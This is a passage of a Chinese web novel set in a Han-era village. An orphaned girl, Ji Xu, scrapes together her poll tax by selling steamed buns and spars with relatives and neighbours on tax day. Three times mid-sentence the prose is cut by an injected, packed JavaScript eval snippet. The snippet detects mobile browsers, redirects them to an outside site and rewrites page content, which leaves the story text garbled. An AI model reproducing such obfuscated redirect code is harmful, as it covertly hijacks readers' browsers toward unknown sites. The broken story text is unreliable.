王家砌的是两间草屋，围着篱笆院，他家田地微薄，土地也不如别家肥沃，因此稻子收成不算好，刨去田税，约莫就剩二十斛出头。 就这些，既要做入冬到来年的嚼用，还得匀出十斛去卖，卖的钱拿来填补口算钱的窟窿。 明日就是九月二十了，是乡里的纳赋日，要纳的口算钱，还是朝冯大借的。 不仅他家，本固里还有十来户捉襟见肘的人家，也都朝冯家借的钱，冯家会收利钱，但比盛昌里那些专事放贷的子钱家的利要低些，听说是徐媪做的主。 “不知今年的粮能卖个什么价……” 农忙过后，各大粮肆会派掌柜的来各里收粮，再过些天，粮食晒干时，应该就能见着他们了。 屋里王绵醒了，啼哭传出来。 “这阿利，成天野在外面，连妹妹也不看顾。”王麻子听见哭声，往墙根靠下耙子。 只见满头汗的王利跑了回来，进屋抱起王绵来哄，还朝她嘴里塞了块吃食。 王绵嘴里有甜软的吃食，顾不上哭嘴了，拿在手里吃起来。 “好吃罢？”王利问她。 王绵嗯嗯两声，跟进来的王麻子还在追问， “见天儿往牛脾山跑，柴禾呢？也不见你带回家。” 一看，小女手里有小半块白皙细腻的面食，“这是白玉蒸饼？” “是小珠分与我的，看，绵绵也爱吃。” 这两日，小珠家留的蒸饼多，像是她阿姊知道小珠要分给他们这些孩子，特地多留出来的。 拾完柴，每人都分到大半块呢，软蓬蓬的，王利自己撕开吃了一点，剩下的带回来给王绵。 妹妹小，吃这软食正好，王利捏起她脖子挂的巾子，给她擦了擦口水。 王麻子一听，贼兮兮的关起门，问道： “你可有看见她家这蒸饼是如何做的？” 王利说没有。 王麻子心想也是，哪能当着外人的面做蒸饼，胥女定会将这方子捂得死死的。 “你可有进她家灶屋？可有看见什么家里没有的东西？” 王利想了想，“她家有竹甑，咱家就没有。” 王利把妹妹放在地上，牵手逗她玩，两只手拉着一前一后摇晃， “牵郎郎，拽妹妹，踏破瓦儿不着地……” 王麻子高些声，“阿翁问你话呢，再没别的？” 王绵被逗得吃吃笑，王利也笑起来，一面说：“我哪知道，小珠给我蒸饼我就跑回来了。” “你同小珠玩的这样好？”王麻子嘴角露出丝笑，“那你明儿悄悄问问她，她家那蒸饼是如何做的？” 又教他，“问这话时，尤其避着二凤。” 王利可算听出来了，又是叫他去做偷鸡摸狗的事，他顿生不愿， “我不问，那是她家的手艺，我帮小珠拾柴，她也高兴分我蒸饼吃。” 怪不得，原来柴禾是帮别家拾的，王麻子骂骂咧咧， “你这蠢笨的，若是自家也有这门手艺，还愁没蒸饼吃？ 怎么就没随了我，尽学了你阿母那妇人心肠……” 陈穗儿兄妹得了蒸饼，也不在外玩了，一径开心跑回家去的。 陈家条件比季胥家、王家略好些，但好不到哪去，一家七口挤住的是两间草屋，有七亩半祖传薄田。 自从陈大今春犯漯病，跛了右足，家里缺少一个做工的劳力之后，日子越发紧巴巴。 两孩子回来时，头发花白的吕媪正在屋檐下刮麻，这明日就要纳口算钱了，他们家成年大口多，这一算，可就要六百钱呐，一下把家底给掏空了。 所以吕媪平时见到了路边、山里啊，那些零零散散的野生苎麻，都会割回家来，刮了洗了来晒，多纺点麻布，补贴家用，不然这个冬天可咋过。 “大母，张嘴。” 只听见孙女跑回来的声音，吕媪还没反应过来，嘴里就被塞了块软乎的蒸饼。 淡淡的甜滋味在嘴里化开， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305436|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这对吃惯糙食的舌头来说无疑是种享受，吕媪却皱皱眉， “怎的又塞给我。” “我和兄刚吃过了，大母再吃点，可好吃了。” 其实俩小家伙今天各自的半块蒸饼都没舍得吃，想留给大母他们吃，家里最近为了省那口算钱，都在吃豆饭了。 没餐没整的，吕媪哪舍得吃，“留着晡食吃罢，那会子，你们的大兄也回来了。” 陈狗儿听着话，便珍惜的把蒸饼放到灶屋的碗里去了，倒扣着一只盘，防着老鼠。 他们的大兄陈车儿，在盛昌里的窑场做那下力气的苦活，吃着这样软甜的东西该有多喜欢。 这活儿原是他们的阿翁陈大在做，自打犯了一种漯病，跛腿之后就没法下工了，不过在家也歇不下来，这会子和孩子们的大父陈老伯，去田里锄草了。 “可有谢谢小珠？” 吕媪一边刮麻，问道。 这面食吃着多好啊，白面做出来的，那白面听说卖到六十钱一斛。 这蒸饼，人胥女在乡市里能卖到一钱一个，这样拿来分给他们，吕媪心里眼里，满是感激。 此时梓树旁的崔家，也在叨咕季胥。 崔家有三十亩地，那丰收的稻谷家里头晒不开，匀了一半去谷场晾晒，因这家女儿崔思并小儿崔广耀，照大人说的，各持一竹棒，去谷场挥赶鸡鸭鸟雀了，这会子家里头静悄悄的。 廖氏便拉着她丈夫崔大，在东屋里聊起家里大男崔广宗的亲事来， “我看这门亲可做，胥女是个有庖厨手艺的，娶回家也不怕把咱家带累穷，还能给咱家挣钱。” 她家住的，乃是一堂三室，盖的是瓦，前面还围了泥院墙，在本固里条件能排中上，一开始当真瞧不上瓮牖草舍的季胥。 然这两天可都听说了，胥女不仅卖蒸饼，还帮冯家庖厨。 想那会儿王麻子打趣，要她拿三斛稻谷许了季胥来做新妇，如今细细琢磨起来了。 崔大：“这事可问过广宗，也不知他可钟意那胥女。” “这有何难？那胥女模样越发长开了，生的白，模样好，就是瘦了点，力气也不够，我瞧她抱一对甑和鬲，都得歇了又歇，怕是种田上不能下力， 但不打紧哪，会的一手庖厨，能挣钱，待他过些时日回来，我再同他说一说，他保准点头。” 他家崔广宗在县里铁肆做学徒，农忙才放回家两天，如今又回去铁肆打铁了，并未在家，等学成为打铁匠，那可是很吃香的。 崔大想了想，道：“眼下那胥女在你眼里又是百般好的了？别忘了她有两个妹妹，瞧她们感情好的，难不成她还能撇下妹妹嫁来？ 定要看顾的，想那小珠七岁上就该纳口赋，待两人十五岁上又该纳算赋，吃穿嚼用哪一项不是花销，这笔账你可算仔细了？” 说的廖氏默住半日。 崔大道：“她不过凑巧得了田啬夫的大单，那蒸饼还能日日好卖？不过新鲜一阵子罢了， 明日就得纳赋了，先看看她能不能纳上口算钱，之后又是个什么端底，若凭她这手艺能起得起房子，倒还能做这门亲，我也算服了她！” 21. 第 21 章 当啷啷…… 当啷啷…… 次早，乡佐穿走在畎亩阡陌，一面敲打铜锣，一面吆喝通知， “本固里的编户齐民，速往盛昌里晒谷场，缴纳赋税！迟误者狱之！” “速往盛昌里晒谷场，缴纳赋税！迟误者狱之！” 本固里的百姓听了，都麻利将稻谷装在挑筐里，稻谷是他们要交的田税，每亩地要交亩产量的三十分之一。 有些人家田地多，田税自然也多，就一家丁口上阵，挑着装粮的担，往盛昌里赶去。 条件稍好些的，能推着辆独轮木车，左右垒着粮袋，要轻省些力气；至于那赶牛车，拉粮食的，十分罕见。 除季胥她们，本固里五十多户人家，家家都耕田，但有牛的人家，五个指头都数得过来，全因牛价极其贵，一头牛足足要七、八两银。 多数人家耕田都得去赁官府或者富户的牛，有些为了省钱的，干脆人力拉犁。 “不好，阿姊，尺籍没带！” 季凤走在半道，一个激灵道。 冯大家十余头猪农忙这些日子陆陆续续以一个好价钱卖给屠夫了，为着季凤将这些猪养得肥嘟嘟。 昨日徐媪还额外给了季凤两个钱，季凤很是开怀，将钱拿给季胥，惦记给家里要纳口算钱。 季胥哪里要她的，叫她自己收着买零嘴，方藏在床底下的老鼠洞里头了。 冯家现在还剩一头母猪留着产崽，秋收后冯大也闲下来，他自己就能照料，暂时也不用季凤去后山牧，徐媪说了，等过数月，产了小猪崽，再喊季凤去牧猪。 因此季凤也一块跟去盛昌里，缴纳赋税是个大日子，人多，就当凑个热闹。 再说，二房今年兜里有钱，能缴得起这份口算钱，不同往年被乡佐三催四令，捱到最后期限才凑够钱，所以季凤还是期待去凑热闹的，腰杆都是直的。 “带着呢，在我衣襟里。” 季胥腰间挎着带盖的竹筒，里头是备好的口算钱，一共一百四十三钱，沉甸甸的。 她给冯家庖厨，并这两日卖蒸饼挣的，除去买肉买面粉的花用，家里还有一百钱的余钱，一并塞在了墙洞里藏着。 季凤放下心来，牵了季珠，走路都带底气。 “走路很累吧？哼，我家有牛车坐！” 一牛车吱吱呀呀从旁边驶过，车板上装着三袋粮，季虎孩坐在粮袋上，扭过头来，威风凛凛的表情。 尤其冲季珠炫耀，记着季珠不要他拾柴换蒸饼的事。 季元也坐在车架上，一身新做的襦裙，是染过的月白色，这还是刚入秋时她说自己长个子，央求金氏从县肆扯回来的半匹细布，金氏疼她，这样好的布料舍得给她做了襦裙，今日去盛昌里那个富地方，她特地穿来，娇俏又体面。 比起她，季止的衣裳与褶袴就要旧的多，手肘那还打着补丁，不过能坐在牛车上，她也是笑容洋溢的。 路上可没几辆牛车呢，那些靠人力担负稻谷的，见了牛车无不露出艳羡意。 “阿母，牛车别给她们那些小鬾鬼坐！我们要先到！” 季虎孩在牛车上，指着她们仨，煞有气势的说。 金氏笑盈盈的，“牛车也不是人人都能坐的，有的人哪，挣点钱，也只能祭一祭五脏庙，哪能坐得起牛车，自是我们两个轮子跑的快，比她们先到的。” “你别得意，又不是自家的牛车，赶紧珍惜着坐两日吧，错过可就没得坐了。” 大房是买不起牛的，这牛和车，是县城富户的，因季富在替那户人家将车，农忙告假归家，才将牛车驱赶回来，这些日牵车去田里拉稻子，可叫他们显摆了一番，人都说季富在县里有体面，连牛车这样贵重的大家伙什儿，东家也愿意给他使。 谁稀的坐似的，季凤的爆性子，很是看不惯他们显摆到自己面前来，便呛他们。 “那也比有些人好，穷得叮当响，从没坐过牛车，只能说些酸话。” 金氏爱显弄体面。 孩子们的大母，也就是金氏和田氏的君姑还在世时，因金氏生下季家的男丁，君姑有时会给金氏半匹布，她立马裁做成衣裳，到田氏面前晃悠，讥讽田氏生不出金蛋。 或得了两只薄薄的银耳环，也戴了，去田氏眼前，惹得田氏那急冲性子当即与她詈骂，连着夹枪带棒，说君姑偏心眼。 以至于田氏在君姑君舅那，是很不受待见的，如今极重孝道，哪怕长辈有何不妥，小辈也不能责问其过。 就算田氏告到乡里，那被指指点点的也只能是做儿媳的，说其不顾体面，犯有无子的七弃之罪，还敢冒犯舅姑。 因此田氏在乡里名声也不好，若非季家并不富裕，被休了另娶都有可能。 季凤同是直来直去的脾气，眼看就要破开嗓子和她吵骂。 被同乡人听见还得说这小女目无尊长，对着伯母也敢大放厥词。 季胥拉了拉季凤的胳膊，塞给她一个肉馅蒸饼，对方先寻趁上来，她不能眼看妹妹受些冤枉气，便有意说： “急着赶路，朝食还没吃，便吃个肉馅蒸饼罢。” 肉馅蒸饼是她鸡鸣时分新做的，用三肥七瘦的肉，剁碎了，搅打上葱姜水去除腥味，再调上盐酱，还有她自己调配的香料粉，包在醒好的面团里。 蒸出来拳口大小一个，油汁浸着皮，一口咬去，又香又软，她准备代替红糖的，卖两钱一个。 牛车上的季虎孩眼看季凤手里有蒸饼，蒸饼他可是吃过的，甜软无比，还有肉馅的？ 立时就犯馋，指着蒸饼道： “阿母，我也要吃蒸饼！” 金氏紧了紧牙根，只能哄他， “蒸饼没啥好吃的，等回家去阿母给你羹肉，放多多的香油，那才好吃呢。” 季凤见季虎孩馋她手里的蒸饼，正好不用费口舌了，她只需心满意足吃着手里热乎乎的肉馅儿蒸饼。 真香，阿姊手艺可真好，一旁的季胥和季珠也吃了起来。 惹得牛车上的季虎孩直咽口水。 “蒸饼好吃！虎孩就要吃肉馅儿蒸饼！” 他叫嚷起来，使得金氏没脸，摁过来照着他屁股扇打了两下。 伴着季虎孩的哭声，牛车轮毂吱呀呀转远了。 不多时，另有具牛车停了下来，只见将车的是冯大，车后头坐着徐媪、冯富贞。 不同的是，她们这辆车是专 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311406|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门拿来坐人的。 后头还跟着一具牛车，是冯二赶车，专门拉着高垒着的粮食，他们家田亩近百，要纳的田税也多。 “胥女，快与你两个妹妹坐上车来。” 徐媪想着，季胥庖厨上手艺好，日后家里有席面，还能请她来，因此很是热情。 这胥女也是能干，原先她只以为这仨姊妹要捱不过赋税这道坎，胥女秋后便要被拉去下狱、服苦役。 没承想人家有手艺，灵灵俐俐就把赋税的口算钱攒下来了。 “都是去盛昌里，一道坐上来罢。” 一旁穿了银红绣花的襦裙，还簪着绢花的冯富贞不自在的撇嘴。 她那绢花是阿翁在县里买给她的，她簪着想去盛昌里风光一回，让那处的女娘慕羡一番。 为此，还特地央求大母，驾两辆牛车，不要人和粮混着乘坐。 谁知半道要加上她们仨个，那多挤呐，真是一点体面也没了，她拉下脸，嘟囔着， “要她们坐上来做什么……” 季胥自然不是没眼色的，满面客气， “多谢徐大母，只是我走着去要方便沿路叫卖蒸饼，不然还真想图一回便利，这牛车多气派，我们都没坐过呢。” 哪怕拒绝的话，徐媪听起来却也舒心，见她确实还挎着篮子，也就作罢，令冯大接着赶车。 冯富贞见她们没有挤上来，板着的小脸总算舒展。 季胥她们便接着走往盛昌里，吃着肉馅儿蒸饼，哪怕走路也满是劲儿。 他们牛脾乡治下的五个里，依牛脾山分布，牛脾山近有一河，名唤灵水河。 流域广泛，灌溉农田，养活不计其数的人家，他们所处的县便叫做灵水县。 牛脾山形似长而扁的牛脾，外沿有大小山地不等，像孝顺里、盛昌里、本固里、金氏里、廖氏里，便是长年累月，傍山垦田而形成的居民点。 其中盛昌里的地理位置最好，位于河流冲积而堆土肥沃的谷地。 背靠的山地，果树竹林丰饶，有大大小小的湖泊可以灌田网鱼，因土壤肥沃，以上等良田居多，因此这地方的人户要富裕许多，富户占比也更高。 当脚下踩着的是掺了沙砾，明显要平整的路，季胥便知，这是到了盛昌里的地界。 沿路望去，多是瓦房，偶尔见到栋茅草屋，那也是格局开阔，尽数是围着大高院子的。 屋前便是露着谷茬的农田，田里还堆晒着透着青绿的禾秆，院里柴草齐整，养些家禽，有老媪往地面洒着稗子米喂鸡， “咯咯咯……” “阿姊，你瞧，往这边走进去就是盛昌里的里市。”季凤兴致满满指给她看。 只见瓦檐错落的掩在道旁的梓树后头，一阵风吹来，似乎能听见里头的热闹。 盛昌里是五个里唯一在里内形成市集的，叫做里市，他们这的细民基本能够自给自足，若有缺的，在本里的里市买回家也方便，无需走远路去乡市。 因此，季胥还没怎么做过盛昌里细民的生意，她倒也想来盛昌里的里市叫卖，但此处买卖早已自成一派，都是本地编户，是十分排外的。 今日来这里纳赋，倒是个好机会。 22. 第 22 章 “卖蒸饼，肉馅儿蒸饼……” 路过房屋时，她好听的嗓音便叫卖起来，清冽冽的，透亮。 各家虽匀了人去交赋税，家里也还是有人的。 正值朝食的点，家家户户飘着炊烟，不少人听了都从院里张望过来。 “肉馅儿蒸饼？倒没听过。” 他们只吃过里市和县城卖的胡饼，里头是羊肉馅儿的，但却不是蒸，是放在炉中烤制的，洒几粒胡麻，卖五钱一个，吃着又酥又香。 “那硬邦邦的蒸饼，里头放肉？听着就难吃。” “是个脸生的女娘在叫卖，应该是别地儿来的，他们能做出什么好吃食……” 各家议论纷纷，却没有一个上前来问的。 季胥也不躁不慌，一路向晒谷场去，一路叫卖着， “肉馅儿蒸饼，热乎的肉馅儿蒸饼……” 她的篮子四周塞着清洗晒干的禾草，上面盖着麻布，这一路走来，比去乡市要近，摸上篮子外壁，都还是热的。 她也是看距离近才会做肉馅儿的来卖，肉馅儿不比素的，放凉就不好吃了。 “阿姊，前面堵了好多牛车。”季珠好奇指给季胥瞧。 前面是她们去晒谷场的必经之路，只见堵塞着各里赶来的牛车。 排在后头有那发牢骚的， “真是懒驴上磨，还要堵着我们多久呐……” “婶子，前面是怎么了？” 季胥问起坐在牛车上的一个妇人。 “盛昌里的那些竖子鼠人拦了路，要等他们的牛车先过去了，方能轮到我们外人。” 妇人等得焦躁， “不就是晒谷场地方大，才选他们盛昌里做征税点，瞧他们给狂的，连我孝顺里的车也敢拦。” 盛昌里的运粮牛车从对面岔道陆陆续续移动着，一眼望去，连先到的金氏一家、冯家，俱被堵在这边路口。 压根没法说道，这路是他们盛昌里出钱修的，人家要先过，也奈何不了。 “婶子，干等着也无趣，可要尝尝我的肉馅儿蒸饼？” 季胥将自己那篮子揭开一角，露出暄软，扑着肉香的蒸饼， “两钱一个。” 那妇人等得焦灼，她在孝顺里听见铜锣声就往这赶，连朝食都还没用呢，闻言胡乱点点头，左右不缺这两个钱，随手就买来一个。 那薄薄的面皮，被肉馅的油给浸透，一咬，甚至还有汁水，别提多香了，妇人连心情都愉悦不少，忙说： “再给我来五个。” 她一口就能吃一个，香极了，不输胡饼，价还比胡饼经济。 季胥这便使筷子拣给她五个。 见有生意，季凤也是喜不自禁，从篮子里拿出块裁好的巴苴叶递与她，用来包蒸饼。 这野生巴苴还是前日小珠他们那群孩子在牛脾山拾柴找着的，青绿高大一株，叶片如扇，还结有一柄巴苴果，许是日照不足、气温不够高，这巴苴果在他们吴楚的牛脾山，都入秋了，还是青皮的，个头又小，他们小孩摘了扒来吃，硬芯涩口的很，便丢开了，摘了大叶片做毡帽玩。 季胥见了，想着这巴苴叶能用来包蒸饼，便唤小珠带路，去摘了许多回来，裁成一尺大小。 “女娘！来这儿！” 这条拥堵着的道路最前面，远远传来唤喊。 只见岔道上，盛昌里的牛车旁，一个青年在朝季胥招手。 季胥定眼细看了，方认出来那是在公田攀谈过的狱吏，今日不穿皂色佩刀官服，有些认不出了。 便领着两个妹妹，从牛车塞路的边缘，时而侧身，朝前面去。 前头，季元正等的心烦，这路口被盛昌里的两个汉子把守，一时不给他们过，牛车上的人可不由日头指着晒，她新做的衣裙，后背都湿透了。 见季胥竟忙忙的向路口去，不禁一笑，一副看好戏的心态回头与金氏道： “阿母你瞧，这胥女还往前走呢，定要被盛昌里的郎君训喝一番，闹个没脸。” 季止张口想叫住她，被金氏歪了一眼，于是咽了声。 还是后头的徐媪道：“快别往前去，他们蛮得很，等他们过了我们再走也不迟。” 然而被冯富贞冲岔道口叫嚷的声音盖过了去，“凭什么要我们等？我们也要去晒谷场！” “就凭这路是我们盛昌里家家户户出钱修的，你这冯姓家奴。” 盛昌里不知谁挤兑了一嘴。 徐媪忙的拦住孙女，不许她再讨臊，再一看，季胥已然走到了道路最前，果被拦住。 不过，却见有个盛昌里的青年走前去，和那两个守路的汉子很是熟络， “这是我相熟的，她同我一起走。” 季胥三姊妹便被放过去路口另一侧，冯富贞心里越发不好受。 季元登时咬紧了牙，她们坐牛车行路快，没曾想反而被季胥赶在前头。 狱吏对季胥道：“可算又遇见你了，早些日子被调去公田当差吃过你的蒸饼，后来回县里狱曹了，满县城也没你这样儿的蒸饼卖，今日家里忙着纳赋，我告假回来相帮，正好买些回去给家里大父大母尝尝。” “官爷原是盛昌里人户，可幸还能做上您的生意，今日做的是肉馅儿蒸饼，还热着呢。” 季胥便随着一道往晒谷场去，一面道。 “给我来十个。”狱吏道。 季胥依言给他包好。 想了想，又多送他一个，“多谢官爷替我开路。” 狱吏不缺这两个钱，见她这样大方，心头也舒服。 接过蒸饼，和牛车上的无裆裈小郎说， “弟弟，把这蒸饼给大父大母送回去，朝食也能趁热吃。” 狱吏家离这近，索性往返一趟也不费事，小郎这便捧着送去了。 晒谷场， 四名乡佐正吆喝， “田税一列，口算钱一列！按序排好！” “孝顺里排在这头！” “盛昌里的编户来我这头，排两列！” “这处是本固里！” “我这儿是金氏里与廖氏里的征收处！”这两个里人户加起来才五十余户，因此并作一处了。 “阿姊，我们在那儿！那穿皂襦的乡佐在叫本固里呢。”季凤说道，有些激动。 季胥她们是第一个排过去的，路口处拥堵的牛车也陆陆续续进来了。 金氏两手扯着孩子，抢在最先，紧忙往本固里的队伍排，季富拉着的稻谷是田税，排在隔壁那列，那处的乡佐带了量器，专门量稻谷。 这么多牛车平日里可见不着，黑压压的一地，凤、珠二妹都看愣了眼。 乡民渐渐排满晒谷场，每列队伍跟前铺一蒻席，席上置一杉木矮案，笔墨并竹卷陈在案头。 季胥这列负责的个圆脸乡佐，只见他向案前跪坐下来，嘴边还掩着哈欠，腰间别的那只竹筒，被扯下来喝上一口。 能闻出来，里头是煮过的奈果水，润肺补气的，便听对面公事公办的语气， “尺籍。” 季胥也在案前跪坐下来，依言出示户籍，她越来越适应这个坐姿了。 乡佐将户籍同他手里成卷的某支 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15317344|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竹简核对一番，说： “胥，十五岁大口，算钱一百二十钱； 凤，八岁小口，口钱二十三钱； 珠，五岁小口，未满七岁无需缴纳。总为一百四十三钱。” 季胥将腰间的一串钱递过去，是昨日在家中就数好的，用禾草串着钱眼，正好有一百四十三个。 数量是不会有差池的，她细细数过一遍，季凤也数过一遍，季珠学样，也数了一遍，她小小年纪，却也能数得清楚，从一到百，没有漏的。 不过乡佐自是无需费时数这些钱，他案头有一个铜质的“称钱衡”，将这钱系在一端的绳上，拨了拨砝码，便能核对这些钱的重量。 时下用的铜钱是五铢钱，顾名思义，一枚钱的重量在五铢左右，直径就大约一节手指那么长，外圆内方。 官府铸造的五铢钱是有统一规格的，民间有些坏心肠的盗铸者，他们会往铜钱里掺杂铁屑，或者干脆用铅铁来铸钱，这钱流落出去，他们倒是得了利，苦的便是百姓。 季胥卖蒸饼这些日子，就收到过四枚□□，回家才发现，明显要比真正的五铢钱轻薄，后来她情愿慢一点，把钱看仔细了，也别叫那些没良心的把□□掺来拿给她。 像季胥这堆钱，按西汉的度量衡，每个重五铢，合算下来约莫三十两，将近两斤。 乡佐核验无误，便使毛笔沾了墨，在她尺籍赋税那栏，批下已纳二字，又在自己那份竹简上，将她的名字划去。 这就是将口算钱缴纳完毕了，可别小瞧这尺籍上批下的字，倘若她要外出远门，比如去县城，还得在乡啬夫那办理一种叫“传”的通关文书，届时乡啬夫自是会查验她的尺籍，看她是否缴纳赋税，若是欠缴，那自然不给办，没有“传”，这就意味着这人哪里也去不了。 “下一位。” 季胥将尺籍贴身收好。 一个归家半个多月的女娘，都穷得吃糠咽菜了，真到这日，还教她真将口算钱缴齐了。 金氏使劲剜她一眼，拉着季元跪坐下来，递上他们的钱串。 “我这钱哪里不够称？都是我一个个拈过的，你可瞧仔细了，别坑我这民家妇……” 只见后头队伍慢悠悠的，尤其那缴纳田税的，得量稻谷，是项费时的工程，根本快不了。 季胥先缴完，正好趁这会子卖蒸饼。 “肉馅儿蒸饼？我瞅瞅。” 他们赶早来，有的没吃朝食，等在队伍后面肚子咕噜叫唤，便动了买蒸饼的心思。 先时那买过蒸饼的狱吏缴完了税，见着季胥又要买， “再来十个肉馅的。” 见他做回头客，有乡民就问： “真有这么好的味道？” 狱吏才刚多得了季胥给的蒸饼，便帮忙吆喝两句，说的也是实话， “你们放心买罢，保管滋味好，我那六岁的弟弟，一人就能吃五个。” 这一来，不少盛昌里的同乡招手要买。 连皮儿都浸着肉香，一口咬去，久等的烦闷瞬解。 “又软又香，头一回吃肉馅儿蒸饼，这味可真好！” “给我也来五个！” “我也要！” “我也要我也要！” 此时人多，季胥做的五十只肉馅蒸饼，五十只白玉蒸饼，一下遭到哄抢。 金氏才和乡佐掰扯一番，白费了不少唾沫星子，不情不愿拿出五枚五铢钱，替换回来她掺进去的□□，才算缴完。 见得季胥见缝插针也要卖蒸饼挣钱，钱一个又一个掉进竹筒，那眼热的啊，脸都拉长了。 23. 第 23 章 季虎孩也想吃蒸饼，可是到底怕被金氏揍屁股，便去隔壁拉他阿翁的衣角， “阿翁，虎孩也要吃肉蒸饼。” 季富心疼钱，但他惯扮好人，瞅了瞅金氏，“茹娘，要不，买来给孩儿吃吧。” 季止跟着点了点头，她见人家吃的，皮薄馅足，油滋滋的，别提多馋人了； 季元则是将脸一别，“我可不吃。” 盛昌里这帮人，能瞧上季胥的手艺，看来，水平也不过如此，她心想着。 金氏翻眼瞪了他们，“馋死鬼投生呐？不买！到底是我的元女乖，回了家，母给你蒸蛋羹吃。” 季富自然作罢，省点银钱多好，那要二钱一个，还是挺贵的，瞧着也就拳眼大小。 金氏满肚子闷气，只能安慰自己，那二房和自家条件还差得远，光这住的条件，就比他们差多了。 后头排队的廖氏见了，倒是满脸笑意，看季胥卖蒸饼就仿佛在看她给自家挣钱似的，还拍拍她汉子，让他瞧， “口算钱也纳齐全了，生意好成这样，我还是觉得亲事可做。” 只见前头风风火火走来的金氏，拉了巴望着蒸饼嘬手指解馋的季虎孩，满脸的不爽利的，便打趣道： “金大妇，你侄女好出息，你做伯母的，怎的不照顾人家生意呢？” “我也就是没带余的钱，不然同里乡亲，肯定要买些的。” 金氏没工夫攀扯，头也不回走了。 倒是廖氏一旁的小儿崔广耀听说，心动扯她道：“阿母你不是带了钱袋？” “买什么，待将来娶进门来，想吃多少吃不着。”她可不花这冤枉钱，说说大话罢了。 “我家是老主顾了，你竟不先卖我？往后可别再想做我冯家的生意！” 轮到冯家的徐媪缴口算钱，她孙女冯富贞左看右看，也想去买些来吃。 不巧是，最后十个，前脚被盛昌里的女娘一句话给包圆了。 冯富贞没买到蒸饼，刚才在路口积累的怨气这会子朝季胥发作起来。 先来后到，季胥自然是先紧着那个要包圆的女娘，这都已经在帮人拣了。 便告了句歉，“肉馅是这位女娘先要的，还有些许白玉蒸饼，富贞妹妹可要拣些去吃？” 冯富贞脾气也盛，指着最后那十个说：“我就要她那肉馅的。” 盛昌里的女娘，同她年纪相仿，世代盘居于此，是本地富户。 一看来抢蒸饼的竟是冯家人，她对冯家的阴私不能再清楚，对着冯富贞头上那朵配色俗陋的绢花，目犯鄙夷，话中夹枪带棒的， “冯姓家奴到了我盛昌里的地盘，也敢上赶着吆喝？ 回去学学你家祖宗，做奴时都是怎么卑颜屈膝的。” “你！”冯富贞咬紧了唇，这点一被戳，面容噌的现出一种猪肝色。 见状，季胥麻利将苴叶包好的蒸饼递给倪姓女娘，将她送走了，又好声好气哄着冯富贞， “富贞妹妹别恼，我过会子回家了，现做了与你送去，还要热乎些，只管要多少有多少。” “谁跟你姊姊妹妹的！不过是个灶下厨，也配和我称姊妹？”冯富贞恼羞成怒，将手一甩。 季凤听了登时来火，插在她们俩中间，叉起腰。 她虽在冯家牧猪，可行的正坐的直，凭劳动挣钱，从来都不是谄媚主家的性子，这会像点着的炮仗，炸向冯富贞， “好你个家奴！我阿姊客客气气称你句妹妹，你脾气越发上来了……” 她的小身板才到季胥胸口，像只炸毛的母鸡一样护着她。 季胥从后背将季凤的嘴捂住，吵大了引起上头乡佐的注意，可捞不着好，陪了笑道： “既然女娘不愿，那我不称就是了，为这事吵嚷起来，盛昌里的人该看咱们的笑话了。” 冯富贞一听，瞬间也闭上嘴，去摸头上簪着的绢花，不知道是不是错觉，总觉得周围的人已经在对她指指点点了。 一定在说她是家奴之后，上不得台面，之类的。 她忿忿瞪了眼季胥，甩身离开晒谷场。 近处有乡佐脸色不大爽利，虽说没有律令禁止在此时卖蒸饼，但这队伍窸窸窣窣，总归不肃整。 季胥堆着笑，朝其手心塞了个白玉蒸饼，人吃着好，到底没来驱赶季胥，好在她也卖得快，没有多逗留。 “阿姊，你方才怎的捂我嘴，该教我好好骂那冯富贞一顿才是。” 归家的途中，季凤说起这事，神色还是郁忿的。 她本就是极其护短的爆竹性子，更别提那人还瞧不起季胥，她的阿姊，她在这世上的亲人。 季胥觉得性子辣，能骂仗，也是一种保护自己的力量，像田氏为寡这数年，正是她这烈火性子和名声，能令乡里那起贼心的汉子胆怵。 加上如今乡三老不时就要集会，教化乡民，普及犯律的各种极刑，告诫强人以奸者，要被处以腐刑。 所谓腐刑，就是宫刑，让其变成阉人，还得一辈子充作劳役。 乡里的治安遂比早年要好，这寡母孤女的才能相安无事。 而田氏去了这半年，又多亏季凤的性子随了她，不吃亏，加之乡里对孤儿还是有些特殊照顾的，有那富户为了搏名声，或是想求因果善缘，也会善待孤儿。 这半年来，两个妹妹才没被坑蒙了去。 所以，季胥是不会约束着季凤这种反击方式的，但方才情况特殊，她耐心道： “若在别时就随你骂了，只是刚才不合适，若是闹大了，乡佐会寻趁上来， 这事到底是因我们在那卖蒸饼引起的，到时候少不得会挨训诫，不定还要将我们挣的银钱罚没了去，这就太不上算了。” 季凤还是气鼓鼓的，“以后这冯富贞，别想得我一个好脸子。” 